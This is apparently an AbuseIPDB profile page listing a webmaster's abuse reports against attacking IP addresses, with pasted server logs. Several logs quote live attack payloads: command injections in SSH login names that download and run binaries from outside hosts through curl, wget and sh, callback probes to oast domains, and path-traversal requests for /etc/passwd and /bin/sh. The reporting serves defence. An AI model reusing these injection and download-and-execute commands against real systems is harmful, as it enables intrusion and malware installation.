User borisperc , the webmaster of psmedia.mywire.org ,
joined AbuseIPDB in May 2021 and has reported 10,135 IP
addresses.
Standing (weight) is
good.
ACTIVE USER
WEBMASTER
IP
Date
Comment
Categories
🇵🇱
85.11.187.28
11 May 2026
NAS DISKSTATION - pcsnetmedia.direct.quickconnect.to
Hacking
Brute-Force
Web App Attack
🇵🇱
85.11.187.32
11 May 2026
NAS DISKSTATION - pcsnetmedia.direct.quickconnect.to
Hacking
Brute-Force
Web App Attack
🇺🇦
5.1.0.6
11 May 2026
NAS DISKSTATION - pcsnetmedia.direct.quickconnect.to
Hacking
Brute-Force
Web App Attack
🇰🇷
27.102.137.16
10 Sep 2025
Lines containing failures of 27.102.137.16 (max 1000)
Sep 9 07:22:01 psmedia.mywire.org hcs2000[14 ...
show more
Lines containing failures of 27.102.137.16 (max 1000)
Sep 9 07:22:01 psmedia.mywire.org hcs2000[1423466]: Failed password for ;`curl http://mchbyzyief.lfcx.eu.org` from 27.102.137.16 port 13593
Sep 9 07:22:08 psmedia.mywire.org hcs2000[1423497]: Failed password for ;`curl http://fzndcucuch.yutu.eu.org` from 27.102.137.16 port 4805
Sep 9 07:23:27 psmedia.mywire.org hcs2000[1423825]: Failed password for ;`(curl -fsSL -m180 http://77.243.85.5:45463/slt||wget -T180 -q http://77.243.85.5:45463/slt)|sh` from 27.102.137.16 port 1053
show less
Hacking
Exploited Host
🇮🇳
36.255.18.32
10 Sep 2025
"2025-09-08 20:20:12.143896" psmedia.mywire.org 36.255.18.32 43944 89.142.197.202 80 TCP URL (89.142 ...
show more
"2025-09-08 20:20:12.143896" psmedia.mywire.org 36.255.18.32 43944 89.142.197.202 80 TCP URL (89.142.197.202)/boaform/admin/formlogin?username=(user&psd=user) "bad script (malicious)" (static)
Severity: LOW
show less
Bad Web Bot
Exploited Host
🇮🇪
40.113.19.56
10 Sep 2025
Lines containing failures of 40.113.19.56 (max 1000)
"2025-09-08 17:46:07.811963" pcsnet.myftp.org ...
show more
Lines containing failures of 40.113.19.56 (max 1000)
"2025-09-08 17:46:07.811963" pcsnet.myftp.org 40.113.19.56 1371 89.142.197.202 80 TCP URL (pcsnet.myftp.org)/marijuana.php "web shells (suspicious)" (static)
"2025-09-08 17:46:05.719895" pcsnet.myftp.org 40.113.19.56 1371,6726 89.142.197.202 80 TCP IP 40.113.19.56 URL 89.142.197.202(/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh) "potential remote code execution (suspicious)" (static)
Severity: LOW
show less
Hacking
Bad Web Bot
Exploited Host
🇺🇸
154.38.187.64
06 Sep 2025
154.38.187.64 pcsnet.dyn.ts.si - [06/Sep/2025:07:11:52 +0200] "GET /vpn/user/download/client?ostype= ...
show more
154.38.187.64 pcsnet.dyn.ts.si - [06/Sep/2025:07:11:52 +0200] "GET /vpn/user/download/client?ostype=../../../../../../../../../etc/passwd HTTP/1.1" 403 4745 "-" "Mozilla/5.0 (CentOS; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36" 1863 9337
154.38.187.64 bsn-142-197-202.static.siol.net - [06/Sep/2025:07:11:52 +0200] "mac=1&ip=127.0.0.1|wget d2ts40bqd7tftl7ravqg7eos351o4j1wy.oast.online" 400 1499 "-" "-" 0 37151
154.38.187.64 pcsnet.ddnsgeek.com - [06/Sep/2025:10:11:57 +0200] "DELETE /actuator/gateway/routes/32JOkk3vivnXMKR3w3TUlNDKdjc HTTP/1.1" 404 185131 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3 Safari/605.1.15" 1867 191632
154.38.187.64 pcsnet.ddnsgeek.com - [06/Sep/2025:10:13:02 +0200] "GET /cgi-bin/mesh.cgi?page=upgrade&key=;'wget+http://d2ts40bqd7tftl7ravqgu37nxu8fpfo7f.oast.online;' HTTP/1.1" 404 1581 "-" "Mozilla/5.0 (Ubuntu; Linux x86_64; rv:132.0) Gecko/20100101 Firefox/132.0" 1868 6125
...
show less
Hacking
Exploited Host
🇺🇸
173.44.62.141
29 Aug 2025
Lines containing failures of 173.44.62.141 (max 1000)
Aug 29 00:00:17 psmedia.mywire.org hcs2000[41 ...
show more
Lines containing failures of 173.44.62.141 (max 1000)
Aug 29 00:00:17 psmedia.mywire.org hcs2000[412953]: Failed password for ;`curl http://d2od2heblda9p6c0qr506anj81wnfcsh6.oast.fun` from 173.44.62.141 port 34244
Aug 29 00:00:19 psmedia.mywire.org hcs2000[412959]: Failed password for ;`curl http://d2od2heblda9p6c0qr50qeb7pw3iynrf8.oast.fun` from 173.44.62.141 port 34246
Aug 29 00:00:19 psmedia.mywire.org hcs2000[412964]: Failed password for ;`curl http://d2od2heblda9p6c0qr50df1mqh83qzhzu.oast.fun` from 173.44.62.141 port 34248
show less
Hacking
Exploited Host
Web App Attack
🇺🇸
47.88.49.239
29 Aug 2025
Lines containing failures of 47.88.49.239 (max 1000)
Aug 28 02:34:19 psmedia.mywire.org hcs2000[444 ...
show more
Lines containing failures of 47.88.49.239 (max 1000)
Aug 28 02:34:19 psmedia.mywire.org hcs2000[44423]: Failed password for ;`wget http://192.140.164.151:2530/666;chmod 777 666;./666;rm -r 666;wget http://192.140.164.151:2530/668;chmod 777 668;./668;rm -r 668` from 47.88.49.239 port 53907
Aug 28 02:34:21 psmedia.mywire.org hcs2000[44435]: Failed password for ;`wget http://192.140.164.151:2530/666;chmod 777 666;./666;rm -r 666;wget http://192.140.164.151:2530/668;chmod 777 668;./668;rm -r 668` from 47.88.49.239 port 53917
Aug 28 02:34:23 psmedia.mywire.org hcs2000[44442]: Failed password for ;`wget http://192.140.164.151:2530/666;chmod 777 666;./666;rm -r 666;wget http://192.140.164.151:2530/668;chmod 777 668;./668;rm -r 668` from 47.88.49.239 port 53922
show less
Hacking
Exploited Host
Web App Attack
🇸🇬
97.74.93.139
20 Aug 2025
Hacking
🇸🇬
97.74.88.186
20 Aug 2025
Hacking
🇮🇷
95.38.139.48
20 Aug 2025
Hacking
🇺🇸
94.72.114.183
20 Aug 2025
Hacking
🇸🇪
94.255.232.166
20 Aug 2025
Hacking
🇸🇬
94.237.3.20
20 Aug 2025
Hacking
🇫🇷
94.23.68.219
20 Aug 2025
Hacking
🇫🇷
94.23.61.165
20 Aug 2025
Hacking
🇩🇪
94.141.123.79
20 Aug 2025
Hacking
🇬🇧
93.114.185.78
20 Aug 2025
Hacking
🇬🇧
93.113.111.46
20 Aug 2025
Hacking
🇰🇿
92.55.190.215
20 Aug 2025
Hacking
🇷🇺
92.53.96.137
20 Aug 2025
Hacking
🇷🇺
92.53.96.111
20 Aug 2025
Hacking
🇷🇺
92.53.96.101
20 Aug 2025
Hacking
🇷🇺
92.53.123.166
20 Aug 2025
Hacking